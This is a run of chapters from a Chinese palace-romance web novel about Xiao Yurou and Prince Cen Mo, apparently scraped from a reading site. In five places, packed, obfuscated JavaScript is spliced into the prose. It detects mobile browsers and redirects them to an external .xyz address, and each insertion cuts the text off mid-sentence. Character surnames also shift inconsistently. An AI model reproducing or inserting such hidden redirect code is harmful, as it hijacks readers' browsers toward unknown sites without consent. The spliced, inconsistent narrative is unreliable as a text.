萧语柔等太上皇净手落座后,才坐到宫人搬来的凳子上双手规矩地放在膝上,举止端庄得体。 “别这么拘束,贫僧觉得与小友有缘,才想见上一面。听说你这次秋巡表现不错?”太上皇见她紧张,笑着调侃道。 “回太上皇,臣女不敢居功。都是众位大人尽心尽力。” “你这孩子倒是谦虚。说说看,这次秋巡都遇到些什么事?” 萧语柔便将沿途见闻一一道来,从民生疾苦到地方吏治,说得条理分明。太上皇显然对她的见解很是赞许。 “年纪轻轻就有如此见识,难得。这是贫僧平日用的,就送给你吧。””太上皇欣慰道,随手取过案几上的一串佛珠。 萧语柔连忙起身接过,只见这串佛珠通体温润,显然是经年把玩之物。她心中一暖,恭敬道谢。 “时候不早了,你先回去吧。”太上皇挥了挥手,“以后有空常来看看贫僧。” 目送萧语柔离开后,太上皇望着门外的天色,若有所思。 “果然还是个孩子气的性子。”他轻声感叹道。 “是啊,澜宁郡主虽在龙都名声不小,现在还是个萌新少女呢。”宫人附和道。 “十六岁...”太上皇的目光变得深远,“当年那个人,也是这样青春年少时来到大晋。” 屋内一时寂静,只有檐下风铃偶尔发出清脆的声响。 “听说陌儿的腿疾好了?”太上皇忽然问道。 “是的,”宫人答道,“宁王殿下已经能正常行走了。” “这孩子不错,可皇帝对他还是有偏见?” “这...”宫人犹豫了一下,小心翼翼地回答,“毕竟当年洛贵妃的事...” “罢了。”太上皇叹了口气,“身为一国之君的老父亲竟不心疼,我这个局外人实在不便多言。把我供奉十年的那串大佛珠,给他送去吧。” 宫人闻言一惊,那串大佛珠可是太上皇最为珍视的物件。但见太上皇已起身向内室走去,只得应声而去。 消息很快传到宫里。正忙着草拟嘉奖诏书的天子得知这消息,脸色更加阴沉。他提笔一挥,几道圣旨便发了出去。 睿王因治水有功,获赐江南封地,银两万贯,外加个江南总督的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15686772|170041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 空衔。这份赏赐之重,让朝中众臣都暗暗吃惊。 韩秉容更是一步登天,直接升任户部侍郎。桂远墨也从七品升至五品郎中令,穆秋煜如愿成为御医院重点培养的太医。 唯独岑陌这边,除了给谷长风些许赏赐,其他人连一句夸赞都没有。这明显的偏心,让不少朝臣都看在眼里,记在心上。 “皇上为何如此偏心?”桂远墨回府后,坐在书房里翻来覆去想不明白。明明宁王殿下才是这次治水的主力,却反倒被冷落了。 萧语柔坐在庭院的石凳上,低头把玩着手中的佛珠。秋日的阳光透过树桂斑驳地洒在她身上,映得她整个人都笼罩在一层柔和的光晕中。 这时,下人匆匆跑来禀报:“县主,宁王爷到访!” 桂远墨闻讯连忙出迎。当看到岑陌健步如飞地走来时,府上下人都惊呆了。 不是惊叹他一身月白锦袍配银灰色暗纹外袍有多风华绝代,而是震惊他的腿当真痊愈了。那个曾经需要人搀扶的王爷,如今走起路来竟是如此稳健有力。 只是想到宫里的态度,众人不免觉得可惜。这样一位难得的王爷,却得不到应有的重视。 “王爷。”桂远墨躬身行礼。 “桂大人不必多礼。”岑陌亲自上前扶起他,语气温和。 两人在书房饮茶叙话,谈及朝中近况。这时慕氏派人来请桂远墨,说是有要事相商。 桂远墨告退后,岑陌独自在书房里踱步。忽然听到窸窸窣窣的声响,他转身望去,正好撞见裹着斗篷偷偷往里张望的萧语柔。 浅青色斗篷上的兔毛边衬得她小脸越发精致,乌黑的眸子与他四目相对,还带着几分被抓包的慌乱。她像只受惊的小兔子般想要躲开,却又忍不住回头看他。 岑陌看着她这副模样,心中一暖,仿佛所有的阴霾都被驱散。他嘴角微扬,正要开口,却见萧语柔已经红着脸跑开了。 第一百七十七章 珍珍 “请进。”岑陌侧身让开门,冬日的寒风裹挟着几片雪花飘进来。 萧语柔站在门外,手指无意识地绞着衣袖。她总觉得自己像只即将落入陷阱的兔子,可眼前这个男人的眼神却格外平静,仿佛真的只是来找大夫看诊。 屋内炭火烧得正旺,暖意融融。她迟疑片刻,最终踏入了那扇门。 “王爷请坐。”她指了指榻边的椅子,自己则在一旁的小凳上坐下。 岑陌安静地坐着,目光落在她微微颤抖的手指上。寒风吹得她指尖发凉,当她触碰到他手腕的那一刻,他的手指不自觉地蜷缩了一下。 “手这么凉。”他低声说着,另一只手覆上她的手背。 萧语柔想要抽回手,却被他轻轻扣住。她抬头看他,却见他神色如常,仿佛这个动作再自然不过。 “王爷的腿伤已无大碍,继续调养便是。只是天寒地冻,伤处容易发痛,需得注意保暖。”她强迫自己专注于诊脉。 话音未落,一个圆滚滚的小身影就冲了进来。 “宁王哥哥!”珍珍一头撞在岑陌腿上,仰着小脸笑嘻嘻地说,“你是来看我和姐姐的吗?我就知道你会来!” 岑陌松开萧语柔的手,伸手揉了揉珍珍头顶的小揪揪。 “宁王哥哥好幼稚哦。”珍珍转头对萧语柔说,小脸上满是得意,“他最喜欢玩小揪揪了,每次来都要玩好久。” 萧语柔看到岑陌手上的动作突然一顿,忍不住弯起嘴角。这个在朝堂上运筹帷幄的宁王,此刻却因为一个小女孩的话露出几分窘迫。 “宁王哥哥别担心。我的揪揪随便你玩,散了让姐姐重新给我梳就好啦。”珍珍拍着他的腿安慰道,圆圆的小脸上写满了认真。 “特意给你买了冰糖葫芦。”岑陌捏了捏她肉嘟嘟的小脸,“在外面,让紫薇姐姐带你去拿。” “宁王哥哥最好了!”珍珍欢呼着往外跑,临出门还不忘回头叮嘱,“不过你还是要自己生个宝宝玩揪揪哦,我的小辫子可不是你的玩具。” 屋内一时安静下来,只听得见炭火噼啪的声响。 “阿柔。”岑陌突然开口,声音低沉,“你说珍珍说得对吗?” 萧语柔心跳漏了一拍,假装没听懂他的暗示:“王爷说笑了。” “我很认真。”他站起身,向她走近一步,“你知道我的心意。” 萧语柔下意识后退,却被他拉住手腕。他的手掌温热,让她无处可逃。 “用膳的时辰到了。”门外传来紫薇的声音,打破了室内暧昧的气氛。 晚膳时分,老夫人对岑陌的态度明显软化了许多。皇帝的偏心之举让她心疼这个外孙,但帝王威严不可冒犯,也只能在私下里对岑陌更加和善。 “这鱼汤是语柔亲自熬的。”老夫人笑着说,“她知道你喜欢,特意吩咐厨房准备的。” 岑陌看向萧语柔,眼中带着笑意:“多谢阿柔。” 萧语柔低头喝汤,耳根微红。她没想到老夫人会说出这件事,这让她有些不知所措。 用过晚膳,岑陌起身告辞。萧语柔本想让紫薇送他,却被老夫人使了个眼色,只得亲自相送。 夜色渐深,庭院里积雪未化,月光洒在雪地上,映得四周一片银白。 “小心脚下。”岑陌自然而然地牵起她的手,“路滑。” 他的手掌温暖干燥,让萧语柔想起方才诊脉时的触感。她想要抽回手,却又舍不得这份温暖。 “就连老太太也对我心生怜惜。”他突然说,语气里带着几分委屈,“阿柔就不心疼我吗?” 萧语柔心头一软,不由得握紧了他的手。抬头时,却撞进了他含笑的眼眸中,这才意识到自己中了他的圈套。 “这是我过得最温暖的一个夜晚。”岑陌轻声说,目光深邃,“原来家的感觉是这样的。” 萧语柔心中一痛,想起他从小在宫中的经历:“王爷,咱们一直都会是你坚强的后盾。” “嗯。”岑陌笑得愈发温柔,手指轻轻摩挲她的手背,“我知道。” 夜风吹过,带来几分寒意。萧语柔突然想起一事:“大表哥可曾告诉王爷,在彬州的刺客,我觉得是认识的人。” “是商焘。”岑陌语气平静,却透着几分冷意。 这场叛乱终究要落在宁王头上。墨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15693936|170041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 王和长公主虽然参与其中,却被摘得干净,连半点证据都寻不到。 龙都因这场谋逆大换血,所有人都小心翼翼,连往日热闹的宴会都少了许多。街上的行人都缩着脖子快步走,生怕被人盯上。 年关前一月,皇帝发布罪己诏,册立睿王为太子。同时为太子赐下正妃谷霜,侧妃韩氏。皇帝则入寺修行一月,由太子监国。 朝中局势顿时明朗,众人纷纷投向睿王。那些曾经摇摆不定的官员,此刻都争先恐后地表达忠心。 宁王府依旧平静,岑陌专注于西北九州的事务。从蒙古来的铁骑交给了邬钧统领,还应允阿桐随晏澜去西北,让他跟着桂辰读书**字。 一切都在无声中变化着,直到凌府举办赏雪会,打破了这份平静。 萧语柔本想推辞,却不想谷霜亲自登门。她穿着一身月白色锦袍,端庄优雅地坐在幽谷,仿佛一朵盛开的雪莲。 “听闻县主如今是蒙古可汗义女了。”谷霜端着茶盏试探道。 “若凌小姐只为说这些,不必多留。”萧语柔语气淡然,她对这个即将成为太子妃的女子没有半分好感。 “太子想见你。” “我与太子无话可说,有事可通过舅舅或宁王传达。”萧语柔坐姿端正,语气坚定。 “你当真不想见他?他可是未来的储君。”谷霜盯着萧语柔的眼睛道。 “除了亡父和远在他乡的弟弟,我想见的男人只有宁王一人。”萧语柔毫不退让地与她对视。 谷霜眼中闪过复杂的情绪:“我就是搞不懂,为何他们都...” “我这还留着一朵雪莲呢。”萧语柔打断她的话,“求药的人趋之若鹜,但他们爱的是雪莲吗?不过是为了救命,为了虚荣,或者一时兴起罢了。” 谷霜猛地站起身,冷冷地看了萧语柔一眼,转身离去。她的背影透着几分愤怒,却又带着说不清的落寞。 “凌小姐性子高傲。”紫薇给萧语柔续茶,轻声说道,“只怕会觉得小姐这番话是在羞辱她。” “随她去吧。”萧语柔并不在意,若非看在谷柏的面子上,她连这番话都懒得说。 第一百七十八章 宴会 凌家的宴会热闹非凡,觥筹交错间尽是权贵笑语。岑陌却带着萧语柔悄然离席,策马出城。 马蹄声踏过城门,扬起阵阵尘土。 初春的风还带着些许凉意,裹挟着青草的清香扑面而来。萧语柔深深吸了一口气,胸腔都为之一松。她偷偷瞥向身侧的男人,只见岑陌一身玄色劲装,英姿飒爽,与平日里端坐朝堂时的威严模样大不相同。 “王爷骑术真好。”萧语柔由衷感叹。她坐在马上,随着马儿的步伐轻轻摇晃,却丝毫不觉得害怕。 岑陌侧目看她一眼,眼底闪过一丝笑意:“想学?” “我可不敢。”萧语柔连连摇头,发髻上的珠钗轻轻晃动,“就这样跟着王爷已经很开心了。” 岑陌轻笑一声,马鞭轻扬,带着她在田野间驰骋。春日的阳光温暖而不刺眼,照在两人身上,在地上拉出长长的影子。 待到日头偏西,两人来到一处农家小院。院子不大,却收拾得干净整洁,篱笆上爬满了蔷薇,虽未开花,绿桂却已繁茂。 “王爷!”农家主人热情相迎,显然不是第一次见到岑陌。他是个面相朴实的中年男子,脸上的皱纹里都是岁月的痕迹。 岑陌微微颔首以示回应,宓漠已经将方才猎到的野鹿送去厨房。农家娘子手脚麻利,很快便传来阵阵香气。 “小姐请用茶。”农家女儿端来一壶清茶,动作虽显生涩,却也规矩。 萧语柔接过茶盏,轻轻啜了一口,是最普通的茶桂,却别有一番滋味。 农家娘子的手艺极好,一只鹿被她做出了五六种滋味。鹿肉炖汤,鲜美浓郁;红烧鹿肉,软烂入味;还有爆炒鹿肉,外焦里嫩。 萧语柔吃得满足,看着岑陌的眼神都带着笑意。她注意到岑陌虽然举止优雅,却吃得很是自在,与平日里在王府用膳时的样子大不相同。 “王爷常来这里吗?”她忍不住问道,语气里带着几分好奇。 “小时候来过。”岑陌语气平淡,眼底却闪过一丝怀念。他没有多说,萧语柔却从这简单的话语中听出了许多往事。 萧语柔识趣地不再追问,转而说起别的话题:“今日的饭菜真好,比起王府的大厨也不遑多让。” “你喜欢就好。”岑陌放下筷子,目光落在她的脸上。 夕阳西下,两人沿着田埂慢慢走着。春日里新翻的泥土散发着淡淡的清香,远处的山峦被晚霞染成了金色。 “阿柔。”岑陌忽然开口,声音低沉,“我们成婚吧。” 萧语柔脚步一顿,心跳漏了一拍。她没想到岑陌会在这样的时候提起婚事,一时间竟不知该如何作答。 “阿柔不愿意?”岑陌的声音带着危险的气息,眼底暗潮涌动。 “我...”萧语柔抿了抿唇,将手放进他的掌心,感受着他掌心的温度,“王爷挑个好日子吧。” “我不想勉强你。”岑陌的声音里带着一丝她从未听过的柔和。 “可我想嫁给你啊。”萧语柔靠近他,声音轻得像是怕惊扰了这美好的黄昏,“只是...我能不能晚些生孩子?” 岑陌眸色微动:“为何?” “太早生育对身体不好。”萧语柔小声说,眼神闪躲,“我想...我想多陪陪王爷。” “好。”岑陌应得干脆,大手轻轻揉了揉她的发顶。 萧语柔眼睛一亮:“那我们先跟外祖母商量吧。”她心里已经开始盘算,帝王后宫的规矩多得让人头大,选日子、准备嫁妆、祭祖昭告,怎么也得明年底了。 回府后,宓漠欲言又止地站在岑陌身后。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15693937|170041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “王爷,舅老爷的事...” “不必告诉她。”岑陌眼中寒意一闪而过,声音冷得像冰。 夜里,萧语柔见了梨竹。烛光摇曳,在墙上投下晃动的影子。 “小姐,这是账簿。”梨竹恭敬递上一本厚厚的账册,神情严肃。 萧语柔翻开账簿,仔细查看每一笔进出。“西北的事准备得如何?”她头也不抬地问道。 “人手已经备齐,就等实地考察了。”梨竹回答得干脆。 萧语柔点头:“年后你亲自去一趟。” “我?”梨竹有些紧张,声音都变了调。 “放心,那是王爷的封地,有大表哥在。”萧语柔安抚道,“而且**。” 说完账目,梨竹犹豫片刻,还是提起了紫萱的事。 “让她回来吧。” 第二天一大早紫萱便回来了。她的眼圈还有些红,显然这段时间过得并不轻松。 让萧语柔意外的是,紫萱并未因林婆子的挑拨而与紫薇生分。反而比从前更加亲近了。 “母亲,小姐信任的人,我们都该敬重。”紫萱正色道。, 转角处,紫薇抿唇一笑,眼中闪过一丝感动。 年关将近,慕氏开始筹备小宴。街上张灯结彩,处处洋溢着节日的气氛。 “语柔,你在这看看。”慕氏在花店里对萧语柔说,“这些花都不错,你挑几盆回去。” 萧语柔在店里转了一圈,看中两盆虎刺梅。花朵娇艳,却带着倔强的性子,正如她的心意。 刚要开口,一道熟悉的声音从身后传来。 “不好意思,这两盆花,本公子要了。” 她转身,对上枝容熙含笑的眼睛。阳光从窗外斜斜照进来,将他的身影拉得很长。 第一百七十九章 互不相让 “柳公子也想带走些绿植?府上要办宴会吗?”萧语柔站在锦绣坊的花圃前,轻声问道。她身着一袭淡青色长裙,腰间系着银色流苏,在冬日的阳光下显得格外清雅。 她注意到枝容熙的在自己身边的丫环身上打转,眼神中带着几分轻佻。这让她不由得皱了皱眉,心中涌起一丝不快。这位太子表弟的名声,在龙都中向来不太好。 “买花还需要理由?”枝容熙收回目光。他今日一身月白色锦袍,腰间配着金镯,看起来倒是风度翩翩,只可惜那眼神里的轻浮让人生厌。 萧语柔不动声色地挡在丫环身前,语气平淡:“柳公子请便。” 花圃里摆放着各色冬季盆栽,有傲雪的寒梅,有清幽的兰花,还有一些不常见的异域花卉。她转向掌柜,指着几盆姿态优美的兰花:“这几盆我要了。” “抱歉,这些花我先看中了。”枝容熙突然开口,语气中带着几分挑衅。他踱步上前,故意与萧语柔擦肩而过。 萧语柔眉头微挑:“是吗?”她的目光落在那几盆兰花上,花朵洁白如雪,桂片青翠欲滴,确实是难得的好品相。 枝容熙掏出一锭银子扔给掌柜:“送去枝府。” 掌柜的手微微发抖,犹豫着要不要接下这银子。他看看萧语柔,又看看枝容熙,额头渗出细密的汗珠。毕竟柳家如今是太子外祖母的府邸,得罪不起。 “柳公子就打算买一盆?”萧语柔忽然问道,声音里带着几分玩味。 “什么意思?”枝容熙转过身来,眼中闪过一丝不悦。 “这银子,也就够买一盆而已。”萧语柔浅笑,纤细的手指轻轻抚过兰花的桂片,“冬季的花可是名贵得很,尤其是这几盆兰花,都是精品。掌柜,这兰花多少银子一盆?” 掌柜擦了擦额头的汗:“回姑娘的话,这兰花是从南方空运来的,一盆要五两银子......” 看着枝容熙脸色微变,萧语柔又补充道:“若是柳公子买不起,不如让给我?” “谁说我买不起!”枝容熙咬牙切齿,脸上的肌肉明显抽搐了一下。 周围已经**了不少看热闹的人,有认出他们身份的,正在窃窃私语。他不能在这里丢了脸面,太子的声誉也不容有损。 萧语柔看准时机,对掌柜说:“整整三十盆芳香四溢的幽兰,外加五十株带刺的红梅,都算在柳公子账上。”她的声音不大不小,恰好能让周围的人都听见。 “这......”掌柜的额头上的汗更多了。 “柳家办宴会,这些花是不是太少了些?”萧语柔故作关心地问,“毕竟是太子表弟的府邸,排场不能太小了。” 枝容熙的脸色一阵青一阵白,他知道自己被萧语柔算计了,但此时已经骑虎难下。 “这个......” “这可关系到柳公子的体面。”萧语柔笑着说,“掌柜的,还有什么好花,赶紧给柳公子介绍一番。对了,那边那些寒梅也不错,听说是从江南运来的?” 枝容熙被激得失去理智:“对,挑你家最上等的货!本公子有的是钱!” 他气急败坏地掏出藏在胸前的私房钱。等回过神来时,萧语柔早已带着丫环悄然离去,只留下他和一大堆昂贵的盆栽。 对面酒楼二楼的雅间里,墨王司韶正与几位幕僚用膳。他饶有兴致地看着这一幕,手中的筷子轻轻敲击着桌面。 “原来是她。”她就是那个在山谷放暗器的人。”他轻抚下巴,眼中闪过一丝寒光。 “王爷,要派人跟踪她吗?” “不必。”司韶冷笑,放下手中的筷子,“不过是个女人罢了。找到机会,直接杀了便是。”他端起酒杯,眼中闪过一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15699607|170041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 丝阴冷的光芒。 他很清萧岑陌对这个未婚妻的喜欢。杀了她,一定很有意思。一想到岑陌那张永远波澜不惊的脸上会出现痛苦的表情,司韶就感到一阵愉悦。 萧语柔与慕氏汇合后,简单说了枝容熙的事。 慕氏皱眉不语,拉着她的手:“这枝容熙不是好相与的,背后有太子撑腰。你今日这么做,怕是要惹麻烦。” “无妨。”萧语柔靠在软垫上,“他若是敢来找麻烦,我自有办法应对。” 枝府这边,枝容熙带着一大堆名贵盆栽回来,枝夫人正在院子里与几位贵妇说话。看到儿子带回来这么多花,她气得直跺脚。 “我就知道那丫头不是好相与的!”枝夫人怒道,挥退了院子里的客人,“长公主为何不待见她,还用说吗?这分明就是存心给咱们难堪!” 枝容熙低着头不敢作声,他今日确实丢了大脸。 枝夫人看着满院子的盆栽,气得让人全搬出去:“这些花,送去太子府吧。就说是我们孝敬太子妃的。” “以后离她远点。”枝夫人警告道,“那丫头心机深沉,不是你能应付的。” “可是姑祖母,咱们这样岂不是......” “住口!”枝夫人厉声打断。这种话怎能随便说出口?隔墙有耳,万一传到太子耳中,后果不堪设想。 她踱步到窗边,摸着韩家送来的西洋钟,眼中闪过一丝算计的光芒。这钟可是锦绣坊的抢手货,韩家花大价钱买下后,又送到了她这里。 枝夫人。,已经想好了对策。既然萧语柔敢戏弄她的儿子,那就别怪她不客气了。 “让人去请韩家大爷过来。”枝夫人吩咐道,“就说我有要事相商。” 院子里的寒风吹动着那些名贵的盆栽,花瓣轻轻摇曳,仿佛在预示着即将到来的风波。 第一百八十章 文采斐然 晏澜认真地看着萧语柔,语气中带着几分赞赏道:“五妹妹的文采当真不错。”他的语气中带着一丝调侃,目光在萧语柔写的诗词上流连。 “是啊,文采斐然呢。老天爷啊,县主的夫子要是看到这首诗,怕是要当场哭晕过去了。”谷柏忍不住笑出声来,整个人都快要笑弯了腰了。 萧语柔听着众人的调笑,心中暗自发笑。她故意板起脸,装出一副羞恼的模样,作势要追打他们。裙摆在风中翻飞,带起一阵清脆的铃铛声。 谷柏躲闪着,一边笑一边摇头晃脑:“若是棠棠郡主在此,定能与县主组成一对诗词界的卧龙凤雏。”他做出一副惋惜的表情,“这等才情,真是可遇不可求啊!” 众人憋笑憋得脸都红了,有人甚至笑出了眼泪。冬日的寒风吹过,却丝毫没有减弱众人的热闹气氛。 岑陌站在一旁,看着萧语柔略显窘迫的模样,唇角微扬。他适时开口解围:“宴会已经开始,诸位在此逗留恐怕不妥,不如让阿柔与谢小姐继续赏雪。” 说罢,他便领着众人离去。脚步声渐渐远去,只留下细碎的雪花飘落的声音。 桂辰落在最后,趁机凑近萧语柔,压低声音道:“五妹妹,要不要我抽空教你写诗?”他的眼中带着笑意,语气中却有几分认真。 “不必了。”萧语柔果断拒绝,她转头看向一旁的梁暮雪,“我觉得自己写得挺好的。” 其实她虽算不上才女,但寻常诗词还是能写的。方才不过是想逗一逗总是拘谨的梁暮雪罢了。看着梁暮雪眼中闪烁的泪光,萧语柔心中一软。 “语柔,对不起......”梁暮雪的声音带着哽咽,“我又给你添麻烦了。”她低着头,手指不安地绞着衣角。 萧语柔见她又要哭,连忙转向桂辰:“二哥哥,看吧你把小可爱都欺负哭了,还不赶紧作诗赔罪?” 桂辰无奈地叹了口气,目光在梁暮雪泛红的眼眶上停留片刻,随即吟道:“大雪纷纷落,柴米价飞涨。板凳当柴烧,床榻心惶惶。” 梁暮雪听后破涕为笑,眼角还挂着未干的泪珠。她抬手擦了擦眼泪,轻声道:“二公子这诗......” 桂辰见她心情好转,索性又连作数首打油诗。诗词虽然粗糙,但情真意切,逗得梁暮雪笑弯了腰。两人渐渐聊到诗词韵律,你一言我一语,竟是聊得热络起来。 萧语柔在一旁听着,已经插不上话了。她看着两人眼中流转的情意,心中暗自欣慰。正想着要找个借口离开,紫薇却匆匆而来。 “县主,洛夫人母女求见。”紫薇低声禀报,眼中带着几分疑惑。 “洛夫人?”萧语柔挑眉,“王爷的舅家?”她的语气中带着一丝玩味。 得到紫薇肯定的答复后,梁暮雪体贴地开口:“我自己回宴会便是,语柔你快去吧。”她的声音轻柔,带着几分关切。 萧语柔看了看两人泛红的耳根,心下了然,坏笑道:“那就请二哥哥送谢姐姐回去。” 桂辰的目光在梁暮雪身上停留片刻,有些犹豫道:“不如让紫薇......” “二公子若是不便,那就算了。”梁暮雪强颜欢笑,眼中却已泛起泪光。转身便要离开。 紫薇适时开口:“路滑,小婢该去服侍大小姐了,这事就交给二少爷您了。”她的语气平静,却带着不容拒绝的意味。 萧语柔转身离开,留下桂辰和梁暮雪站在雪地里。寒风呼啸,卷起片片雪花,将两人的身影笼罩在一片银白之中。 梁暮雪独自往前走去,不料一个踉跄摔倒在雪地上。她的裙摆沾满了雪,手掌被冰冷的雪地冻得发红。 桂辰见状,顾不得避嫌,连忙上前搀扶。他的手刚要碰到梁暮雪的胳膊,却被她猛地推开。 “我虽名声已毁,但清白犹在。”梁暮雪哽咽着说道,眼泪不受控制地滑落,“二公子若是嫌弃,大可不必勉强。” “我从未嫌弃于你。”桂辰急忙解释,声音中带着几分焦急,“只是担心我这样的身份会连累你。”他的手悬在半空,不知该如何是好。 “你什么身份?”梁暮雪抬起泪眼,直直地看着桂辰,“你父亲和妹妹是他们,你是你,我从不在意这些。” 她红着脸,声音越来越小:“我只怕你嫌弃我... ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15699608|170041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ...” 桂辰心中一动,目光柔和下来:“我怎可能讨厌你?” 梁暮雪这才破涕为笑,羞涩道:“那便请二公子送我回去吧,雪地路滑,我可不想再摔一次。” 桂辰终于坦然应下,小心翼翼地扶着梁暮雪前行。两人的身影渐渐消失在飘雪中。 翰墨楼边,韩霄静静地站着,裙摆被寒风吹得轻轻摆动。她望着雪地上渐行渐远的两道脚印,嘴角勾起一抹意味深长的笑。寒风中,她的眼神晦暗不明。 偏厅内,洛夫人和洛芷雨局促地坐着。洛夫人身着半旧的褐色织花袄裙,款式已过时,还有些不合身。衣服上的暗纹已经有些褪色,显得有些寒酸。 洛芷雨穿着藕荷色袄裙,袖子短了些,露出布满茧子和细小伤痕的双手。她低着头,手指不安地绞着衣角,整个人都显得局促不安。 萧语柔的目光在那双粗糙的手上停留片刻,眉头微蹙:“洛夫人,萧姐姐,请用点心。”她示意丫鬟端上点心茶水。 洛夫人连忙起身行礼,声音中带着几分谄媚:“多谢县主。” “夫人不必多礼,说说今日来意吧。”萧语柔端起茶盏,轻轻抿了一口。 洛夫人犹豫片刻,忽然跪下,声音颤抖:“芝芝,快跪下。” 洛芷雨立刻跪在母亲身后,双手紧握,指节发白。她的肩膀微微颤抖,却强忍着不发出声音。 萧语柔让紫薇退下,又看了眼洛芷雨紧握的双手。她的声音依旧温和:“有什么事,但说无妨。” “求县主应允,让王爷收下芝芝......”洛夫人颤声道,豆大的泪珠滚落,“芝芝她、她已有身孕了。” “哦?”萧语柔唇角微扬,笑意愈发温柔,“这倒是个好理由。”她的手指轻轻敲击着茶盏,发出清脆的声响。 “是啊,芝芝入京前被歹人糟蹋,我们来京后才发现她已有两月身孕......”洛夫人泣不成声,声音中带着哀求。 萧语柔的笑容更加柔和了,只有熟悉她的人才知道,这是她动怒的征兆。她放下茶盏,目光在母女二人身上扫过,眼中闪过一丝冷意。 第一百八十一章 贪得无厌 萧语柔看着眼前哭得梨花带雨的洛夫人,心中一阵冷笑。 洛夫人跪在地上,声音哽咽:“大夫说芝芝若是打掉这个孩子,以后都不能生育了。县主,您一定要帮帮我们啊。” 这是要她帮忙给岑陌戴绿帽子?萧语柔眸光一冷,手指无意识地摩挲着茶杯边缘。紫萱站在一旁,察觉到自家主子的不悦,悄悄往前迈了半步。 “无能为力了。”她端起茶盏轻抿一口,语气淡漠,“紫萱,送客。” 洛夫人愣在原地,眼泪瞬间止住,随即激动地拽住萧语柔的衣袖:“县主,您怎能见死不救?芝芝可是王爷的亲表妹啊!” 萧语柔甩开她的手,冷冷扫了眼跪在地上的洛芷雨。少女低垂着头,长发遮住了面容,看不清表情。 “正因为是王爷的亲表妹,你们更该去找王爷才是。或者,我也可以为她寻一户良善人家。”” “什么良善人家?我们可是宁王的母族!你怕不是想吃独食,故意不让我们进府?””洛夫人腾地站起来,面色涨红。 萧语柔眉头微皱,这萧家人不止愚蠢,还贪得无厌。她正要开口,忽见洛芷雨猛地抬起头,眼中闪过一丝决绝。 “砰”的一声,洛芷雨狠狠朝自己腹部砸去。 “芝芝!”洛夫人慌忙扑过去抱住女儿。 洛芷雨挣扎着,眼中含着泪水:“这孩子我不留了,以后也不生了,这样总行了吧?” 萧语柔心中一寒。这萧家表小姐,果真是个狠角色。屋内一时陷入死寂,连窗外的鸟鸣声都显得格外刺耳。 紫薇端着茶盘进来,见此情形不由得愣在原地。萧语柔朝她使了个眼色,紫薇立刻会意,悄悄退了出去。 “你生不生,与我无关。”她站起身,居高临下地看着地上的母女俩,“不过念在你们是王爷舅家的份上,我可以给你们一个体面的选择。” 洛夫人抬头看她,眼中闪过一丝期待。 “白银万两,一处庄子,另觅个品行端正的良人上门。”萧语柔缓缓踱步,裙摆在地上划出优美的弧度,“这般富贵荣华,足够你们过完这一生了。” 洛芷雨咬紧牙关,指甲深深掐进掌心。洛夫人却露出意动之色,眼中的贪婪一闪而过。 “你们回去好好考虑。”萧语柔走到窗前,望着院中盛开的海棠,“王爷此刻正在前院,想必你们也是顾念着不愿给他添麻烦,才先来寻我。” 紫萱心领神会,立刻上前搀扶母女二人。洛夫人还想说什么,却被女儿拉住了衣袖。 待人走后,紫薇忧心忡忡:“县主,要告诉王爷吗?” “不必,王爷迟早会发现。”萧语柔轻叹,手指轻轻拂过窗棂上的雕花,“只是这萧家人心思不纯,怕是没这么容易善罢甘休。” 果然,岑陌那边已经得到消息。 